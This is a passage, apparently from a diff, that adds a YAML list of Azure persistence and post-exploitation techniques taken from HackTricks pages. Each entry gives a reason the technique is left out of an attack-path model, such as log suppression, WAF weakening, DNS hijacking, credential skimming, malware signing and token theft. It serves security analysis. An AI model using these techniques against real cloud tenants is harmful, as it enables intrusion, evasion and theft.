Cloud Shell startup files + reason: Backdoors the caller's own Cloud Shell home; another user's home is azure-cloudshell-home-image-backdoor. +- source: src/pentesting-cloud/azure-security/az-persistence/az-container-apps-persistence.md#microsoftappcontainerappsauthconfigswrite--easy-auth-bypass-or-identity-provider-replacement + technique: '`Microsoft.App/containerApps/authConfigs/write` — Easy Auth bypass or identity provider replacement' + reason: Easy Auth bypass / IdP repoint gives application-level access only; no Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-container-registry-persistence.md#microsoftcontainerregistryregistrieslistcredentialsaction-microsoftcontainerregistryregistrieswrite + technique: '`Microsoft.ContainerRegistry/registries/listCredentials/action`, `Microsoft.ContainerRegistry/registries/write`' + reason: Registry admin credential persistence; registry push/pull only (consumer pivot is azure-acr-push-restart-aci-consumer). +- source: src/pentesting-cloud/azure-security/az-persistence/az-container-registry-persistence.md#create-a-service-principal-with-acrpull + technique: Create a service principal with AcrPull + reason: Creates an attacker-owned principal with AcrPull; persistence of registry read access, requires app/role-assignment write modelled elsewhere. +- source: src/pentesting-cloud/azure-security/az-persistence/az-devtest-labs-persistence.md#poison-formulas--custom-images-provisioning-time-persistence + technique: Poison formulas / custom images (provisioning-time persistence) + reason: Provisioning-time supply chain for future lab VMs created by others; consumer-dependent, not RBAC-derivable. +- source: src/pentesting-cloud/azure-security/az-persistence/az-devtest-labs-persistence.md#seed-attacker-known-credentials-via-labuser-secrets + technique: Seed attacker-known credentials via lab/user secrets + reason: Seeds lab/user secrets for later use; persistence of access already held. +- source: src/pentesting-cloud/azure-security/az-persistence/az-firewall-persistence.md#pin-configuration-with-azure-policy--firewall-manager + technique: Pin configuration with Azure Policy / Firewall Manager + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-firewall-persistence.md#keep-diagnostic-settings-removed-or-narrowed + technique: Keep diagnostic settings removed or narrowed + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-firewall-persistence.md#durable-allownat-rule-in-an-inherited-policy + technique: Durable allow/NAT rule in an inherited policy + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#cluster-extension-install--privileged-in-cluster-components-extensionswrite + technique: Cluster extension install — privileged in-cluster components (`extensions/write`) + reason: Extension identity/permissions are extension-defined; page documents no deterministic principal gain beyond Flux (azure-aks-flux-configuration-write). +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#reset-aad--service-principal-profile-resetaadprofile--resetserviceprincipalprofile + technique: Reset AAD / service-principal profile (`resetAADProfile` / `resetServicePrincipalProfile`) + reason: Replaces the cluster's own SP/AAD profile with attacker values; persistence/DoS, no new principal for the source. +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#related-workload-identity-federated-credential + technique: 'Related: workload-identity federated credential' + reason: Federated identity credential write is modelled generically by the managed-identity FIC entries (other group). +- source: src/pentesting-cloud/azure-security/az-persistence/az-virtual-desktop-persistence.md#fslogix-profile-and-session-host-implants + technique: FSLogix profile and session-host implants + reason: Implants in profile containers/session hosts already controlled; users' later sessions are content/behaviour-dependent and not RBAC-derivable. +- source: src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md#attach-a-public-ip--lb-nat-rule-to-a-private-vm-durable-reachability + technique: Attach a Public IP / LB NAT rule to a private VM (durable reachability) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-vmware-solution-avs-persistence.md#network-path-persistence-authorizationswrite-addonswrite + technique: Network-path persistence (`authorizations/write`, `addOns/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-waf-persistence.md#policy-shared-across-many-endpoints + technique: Policy shared across many endpoints + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-waf-persistence.md#standing-custom-allow-rule--exclusion + technique: Standing custom allow rule / exclusion + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-waf-persistence.md#pin-it-with-azure-policy + technique: Pin it with Azure Policy + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-waf-persistence.md#keep-diagnostic-settings-removed-or-narrowed + technique: Keep diagnostic settings removed or narrowed + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementservicegatewaysgetconfigurationaction--bulk-policysecret-pull-data-action-bypasses-the-administrative-log + technique: '`Microsoft.ApiManagement/service/gateways/getConfiguration/action` — bulk policy/secret pull (data + action, bypasses the Administrative log)' + reason: Gateway configuration can contain an Entra service-principal secret, but the configuration snapshot does + not reveal or validate its content or map it to a principal. A content collector and identity join are needed; + otherwise this is data disclosure only. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementservicegatewayslistkeysaction--raw-self-hosted-gateway-keys-offline-token-minting + technique: '`Microsoft.ApiManagement/service/gateways/listKeys/action` — raw self-hosted-gateway keys (offline token minting)' + reason: Self-hosted gateway key; gateway impersonation, no Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementserviceapispolicieswrite-or-microsoftapimanagementservicepolicieswrite + technique: '`Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write`' + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementservicebackendswrite-or-microsoftapimanagementservicebackendsdelete + technique: '`Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete`' + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementserviceapisdelete + technique: '`Microsoft.ApiManagement/service/apis/delete`' + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementservicewrite + technique: '`Microsoft.ApiManagement/service/write`' + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementservicesubscriptionsdelete + technique: '`Microsoft.ApiManagement/service/subscriptions/delete`' + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-batch-post-exploitation.md#telemetry-tampering + technique: Telemetry tampering + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-batch-post-exploitation.md#dosbreak + technique: DoS/Break + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-chaos-studio-post-exploitation.md#cancel--suppress-a-defenders-remediation-drill + technique: Cancel / suppress a defender's remediation drill + reason: Fault injection/telemetry tampering; the experiment identity token is not handed to the caller. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-chaos-studio-post-exploitation.md#detonate-faults-against-onboarded-targets-availability-attack + technique: Detonate faults against onboarded targets (availability attack) + reason: Fault injection/telemetry tampering; the experiment identity token is not handed to the caller. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cloud-shell-post-exploitation.md#cloud-shell + technique: Cloud Shell + reason: In-session $MSI_ENDPOINT token use is the caller's own identity (on-box outcome). +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-container-apps-post-exploitation.md#microsoftappmanagedenvironmentsstorageswrite-and-microsoftappcontainerappswrite + technique: '`Microsoft.App/managedEnvironments/storages/write` and `Microsoft.App/containerApps/write`' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-container-apps-post-exploitation.md#microsoftappmanagedenvironmentswrite--suppress-or-redirect-environment-logs + technique: '`Microsoft.App/managedEnvironments/write` — Suppress or redirect environment logs' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md#microsoftcontainerregistryregistriespullread + technique: '`Microsoft.ContainerRegistry/registries/pull/read`' + reason: ACR image config and historical layers can contain Entra credentials; pull permission alone does not establish + their content, credential validity, or mapped principal. A complete layer scan and identity join are needed. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md#remove-registry-webhooks + technique: Remove registry webhooks + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-ddos-protection-post-exploitation.md#silence-the-mitigation-telemetry + technique: Silence the mitigation telemetry + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-ddos-protection-post-exploitation.md#remove-protection-drop-mitigation--telemetry-in-one-write + technique: Remove protection (drop mitigation + telemetry in one write) + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-firewall-post-exploitation.md#dns-proxy-caveat + technique: DNS proxy caveat + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-firewall-post-exploitation.md#open-the-path-you-need-firewall-policy-edits + technique: Open the path you need (Firewall Policy edits) + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-firewall-post-exploitation.md#disarm-threat-intel-and-idps-stop-the-alerts + technique: Disarm threat-intel and IDPS (stop the alerts) + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-firewall-post-exploitation.md#cut-the-firewalls-logs + technique: Cut the firewall's logs + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-front-door-credential-skimming-post-exploitation.md#credential-skimming-via-waf-custom-rules--log-analytics + technique: Credential Skimming via WAF Custom Rules + Log Analytics + reason: Skims end-user credentials of a fronted app; content/user-dependent, not RBAC-derivable. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md#steal-managed-identity-tokens-via-identity_endpoint + technique: Steal managed-identity tokens via `$IDENTITY_ENDPOINT` + reason: On-box outcome step; the reaching code-execution paths are the azure-functions-* / azure-appservice-* entries. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-guest-configuration-post-exploitation.md#anti-forensics--delete-the-assignment-to-erase-on-box-artifacts + technique: Anti-forensics — delete the assignment to erase on-box artifacts + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-kubernetes-post-exploitation.md#node--kubelet-managed-identity-theft-via-imds--cluster--azure-pivot + technique: Node / kubelet managed-identity theft via IMDS — cluster → Azure pivot + reason: Cluster -> Azure pivot is modelled by k8s/cloud_pivot.yaml k8s-cloud-node-cloud-identity from cluster-admin. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-kubernetes-post-exploitation.md#add-an-attacker-influenced-node-pool-agentpoolswrite + technique: Add an attacker-influenced node pool (`agentPools/write`) + reason: New node pool inherits the cluster kubelet identity; reaching it needs in-cluster code execution modelled by k8s entries. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-kubernetes-post-exploitation.md#api-server-network-exposure-managedclusterswrite--apiserveraccessprofile + technique: API-server network exposure (`managedClusters/write` — `apiServerAccessProfile`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-kubernetes-post-exploitation.md#cluster-certificate-rotation--invalidate-all-kubeconfigs-rotateclustercertificatesaction + technique: Cluster-certificate rotation — invalidate all kubeconfigs (`rotateClusterCertificates/action`) + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftlogicworkflowslistswaggeraction---workflow-openapi--endpoint-disclosure + technique: '`Microsoft.Logic/workflows/listSwagger/action` - Workflow OpenAPI / endpoint disclosure' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftresourcessubscriptionsresourcegroupsread--microsoftlogicintegrationaccountspartnerswrite + technique: '`Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/partners/write`' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftlogicintegrationaccountswrite + technique: '`Microsoft.Logic/integrationAccounts/write`' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftresourcessubscriptionsresourcegroupsread--microsoftlogicintegrationaccountsbatchconfigurationswrite + technique: '`Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/batchConfigurations/write`' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftresourcessubscriptionsresourcegroupsread--microsoftlogicintegrationaccountsmapswrite + technique: '`Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/maps/write`' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftresourcessubscriptionsresourcegroupsread--microsoftlogicintegrationaccountssessionswrite + technique: '`Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/sessions/write`' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftwebsitesread-microsoftwebsiteswrite + technique: '`Microsoft.Web/sites/read`, `Microsoft.Web/sites/write`' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftwebsitesstopaction-microsoftwebsitesstartaction--microsoftwebsitesrestartaction + technique: '`Microsoft.Web/sites/stop/action`, `Microsoft.Web/sites/start/action` || `Microsoft.Web/sites/restart/action`' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#delete + technique: '"*/delete"' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftlogicworkflowsregenerateaccesskeyaction + technique: '`Microsoft.Logic/workflows/regenerateAccessKey/action`' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-maintenance-and-update-manager-post-exploitation.md#anti-patching-persistence-keep-the-foothold-exploitable + technique: Anti-patching persistence (keep the foothold exploitable) + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-maintenance-and-update-manager-post-exploitation.md#forced-maintenance-apply--reboot-availability + technique: Forced maintenance apply / reboot (availability) + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-migrate-post-exploitation.md#appliance-host--credential-jackpot-enrichment + technique: Appliance host = credential jackpot (enrichment) + reason: Requires host compromise of the appliance; yields on-prem credentials, not an Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-migrate-post-exploitation.md#on-prem-estate-recon-via-read-only-rbac-marquee + technique: On-prem estate recon via read-only RBAC (marquee) + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-playwright-workspaces-post-exploitation.md#workspace-access-token-creation + technique: Workspace access-token creation + reason: Workspace access token authorizes the Playwright service only; no Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-service-connector-post-exploitation.md#read-connection-configuration-to-exfiltrate-the-backing-secret + technique: Read connection configuration to exfiltrate the backing secret + reason: Secret-auth linker configuration may disclose a reusable credential for its backing service without direct + rights on that service. A principal edge needs the exact linker-to-target resource join and a verified secret-returned + fact; missing or denied collection is UNKNOWN. Managed-identity and service-principal connections return no + reusable backing secret. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-trusted-signing-post-exploitation.md#persistence--self-granted-signer--timestamps-that-outlive-revocation + technique: Persistence — self-granted Signer + timestamps that outlive revocation + reason: Code-signing abuse; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-trusted-signing-post-exploitation.md#sign-arbitrary-malware-with-an-existing-trusted-profile-marquee + technique: Sign arbitrary malware with an existing trusted profile (marquee) + reason: Code-signing abuse; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-trusted-signing-post-exploitation.md#enroll-a-new-certificate-profile-for-signing-control-plane + technique: Enroll a new certificate profile for signing (control-plane) + reason: Code-signing abuse; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-trusted-signing-post-exploitation.md#control-the-publisher-identity-via-identity-validation + technique: Control the publisher identity via identity validation + reason: Code-signing abuse; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md#managed-identity-token-theft-on-the-session-host + technique: Managed-identity token theft on the session host + reason: On-box outcome step; reaching paths are VM run-command/extension entries and azure-avd-application-write-session-host-rce. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md#in-session-phishing-via-usersessionssendmessageaction + technique: In-session phishing via `usersessions/sendMessage/action` + reason: User phishing prompt; user-behaviour-dependent. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md#control-plane-malicious-app-attach-registration-via-appattachpackageswrite + technique: Control-plane malicious App Attach registration via `appattachpackages/write` + reason: Publishing the package needs applicationgroups/applications/write, already modelled by azure-avd-application-write-session-host-rce. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md#device-redirection-exfil-channel-via-hostpoolswrite-customrdpproperty + technique: Device-redirection exfil channel via `hostpools/write` (`customRdpProperty`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-network-manager-post-exploitation.md#security-admin-alwaysallow-skeleton-key-scope-wide-nsg-bypass + technique: Security admin `AlwaysAllow` skeleton key (scope-wide NSG bypass) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-network-manager-post-exploitation.md#connectivity-configuration-mass-peering-lateral-movement-fabric + technique: Connectivity-configuration mass peering (lateral-movement fabric) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-network-manager-post-exploitation.md#security-admin-deny--estate-wide-dos--segmentation-break + technique: Security admin `Deny` — estate-wide DoS / segmentation break + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#sensitive-information-in-vm-extensions--vm-applications + technique: Sensitive information in VM Extensions & VM Applications + reason: Data read of extension/image/disk contents; any credential is content-dependent. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#harvest-boot-diagnostics-logs + technique: Harvest boot diagnostics logs + reason: Data read of boot diagnostics; content-dependent. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#sensitive-information-in-images + technique: Sensitive information in images + reason: Data read of extension/image/disk contents; any credential is content-dependent. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#sensitive-information-in-restore-points + technique: Sensitive information in restore points + reason: Data read of extension/image/disk contents; any credential is content-dependent. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#sensitive-information-in-disks--snapshots + technique: Sensitive information in disks & snapshots + reason: Data read of extension/image/disk contents; any credential is content-dependent. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#capture-vm--image--cross-tenant-gallery-share-exfiltration + technique: Capture VM → image → cross-tenant gallery share (exfiltration) + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#network-pivoting-nsg-rule--route-table-writes + technique: Network pivoting (NSG rule / route-table writes) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#control-plane-packet-capture-network-watcher-wiretap + technique: Control-plane packet capture (Network Watcher wiretap) + reason: The packet capture can contain reusable tokens or session cookies only if the selected VM sends them in + observable cleartext traffic. A readable capture destination, deployed Network Watcher extension, actual victim + traffic, and token validity are runtime/content facts; the ARM write grant alone identifies no credential or + target principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#private-dns-record-hijack-internal-mitm + technique: Private DNS record hijack (internal MITM) + reason: The A-record change can redirect linked-VNet clients, but credential gain requires clients to resolve + that name, connect to the attacker endpoint, disclose reusable authentication material, and accept its TLS/authentication + behavior. DNS configuration alone cannot identify a captured principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#public-dns-subdomain-takeover-via-dangling-record-dnszonescnameawrite + technique: Public DNS subdomain takeover via dangling record (`dnszones/CNAME|A/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#inbound-email-hijack-via-mx-rewrite-dnszonesmxwrite + technique: Inbound email hijack via MX rewrite (`dnszones/MX/write`) + reason: MX control can intercept password-reset or email-OTP messages only if the affected domain uses this zone + and a victim service sends a usable message during the hijack. The message contents, expiry, and account-recovery + policy are external facts; no account is obtained from the DNS write alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#ns-delegation-hijack-of-a-subdomain-dnszonesnswrite + technique: NS delegation hijack of a subdomain (`dnszones/NS/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#dns-private-resolver-forwarding-rule-tamper-dnsforwardingrulesetsforwardingruleswrite + technique: DNS Private Resolver forwarding-rule tamper (`dnsForwardingRulesets/forwardingRules/write`) + reason: A forwarding-rule change can steer linked-VNet DNS, but a credential edge requires a winning resolution + rule, client traffic to the chosen name, TLS or application trust of the attacker endpoint, and reusable authentication + material in that traffic. Those runtime facts are absent from the ARM permission snapshot. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#front-door--cdn-origin-repoint-edge-reverse-proxy-mitm-cdnprofilesorigingroupsoriginswrite + technique: Front Door / CDN origin repoint (edge reverse-proxy MITM) (`Cdn/profiles/origingroups/origins/write`) + reason: Origin repoint can expose proxied cookies or bearer tokens only when an active route uses this origin, + requests carrying reusable authentication material arrive, and the attacker can receive the origin leg. Route + use, traffic contents, and token validity are runtime facts, so the write grant alone cannot name a gained principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#front-door-rules-engine-headerroute-rewrite-auth-header-backdoor--partial-mitm-cdnprofilesrulesetsruleswrite + technique: Front Door rules-engine header/route rewrite (auth-header backdoor / partial MITM) (`Cdn/profiles/rulesets/rules/write`) + reason: Header injection grants application authorization only if the origin trusts the injected header; route + override yields credentials only if the rule is attached, matching requests carry reusable authentication material, + and the attacker receives them. Origin trust and request contents are application/runtime facts absent from + ARM RBAC. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#classic-front-door-v1-backend-pool-repoint--https-downgrade-networkfrontdoorsbackendpoolswrite + technique: Classic Front Door (v1) backend-pool repoint + HTTPS downgrade (`Network/frontDoors/backendPools/write`) + reason: Backend-pool repoint or HTTPS downgrade can expose credentials only if an active frontend routes matching + authentication requests through the modified backend or downgraded listener and those requests contain reusable + material. Routing, client behavior, and traffic content cannot be inferred from backendPools/write. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#application-gateway-backend-repoint--listener-tls-cert-swap-regional-l7-mitm-networkapplicationgatewayswrite + technique: Application Gateway backend repoint + listener TLS-cert swap (regional L7 MITM) (`Network/applicationGateways/write`) + reason: Gateway write can repoint a live backend or replace a listener certificate, but a credential gain requires + affected authentication traffic, a working attacker-controlled endpoint or trusted replacement certificate, + and reusable tokens or passwords in requests. Listener routing, client trust, and traffic content are not established + by gateway write permission. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#traffic-manager-endpoint-repoint-dns-level-traffic-steal-networktrafficmanagerprofilesexternalendpointswrite + technique: Traffic Manager endpoint repoint (DNS-level traffic steal) (`Network/trafficManagerProfiles/externalEndpoints/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#load-balancer-backendnat-rewrite-in-vnet-l4-redirect-networkloadbalancersbackendaddresspoolswrite + technique: Load Balancer backend/NAT rewrite (in-VNet L4 redirect) (`Network/loadBalancers/backendAddressPools/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#nic-ip-forwarding--in-vnet-mitm-router + technique: NIC IP forwarding → in-VNet MITM router + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#domain-validated--acme-tls-cert-issuance-for-the-victim-domain-dnszonestxtacnamewrite + technique: Domain-validated / ACME TLS cert issuance for the victim domain (`dnszones/TXT|A|CNAME/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#outbound-mail-spoofing-via-spfdkimdmarc-txt-tamper-dnszonestxtwrite + technique: Outbound mail spoofing via SPF/DKIM/DMARC TXT tamper (`dnszones/TXT/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#foreign-tenant--saas-domain-verification-takeover-via-txt-dnszonestxtwrite + technique: Foreign-tenant / SaaS domain-verification takeover via TXT (`dnszones/TXT/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#link-a-private-link-dns-zone-to-a-vnet-without-the-target-record + technique: Link a Private Link DNS zone to a VNet without the target record + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#disk-encryption-set--cmk-revocation-destruction-dos--extortion + technique: Disk Encryption Set / CMK revocation (destruction, DoS & extortion) + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-waf-post-exploitation.md#turn-prevention-into-detection-or-off + technique: Turn Prevention into Detection (or Off) + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-waf-post-exploitation.md#exclusions-and-custom-rule-allow + technique: Exclusions and custom-rule allow + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-waf-post-exploitation.md#get-under-the-inspection-limits + technique: Get under the inspection limits + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: 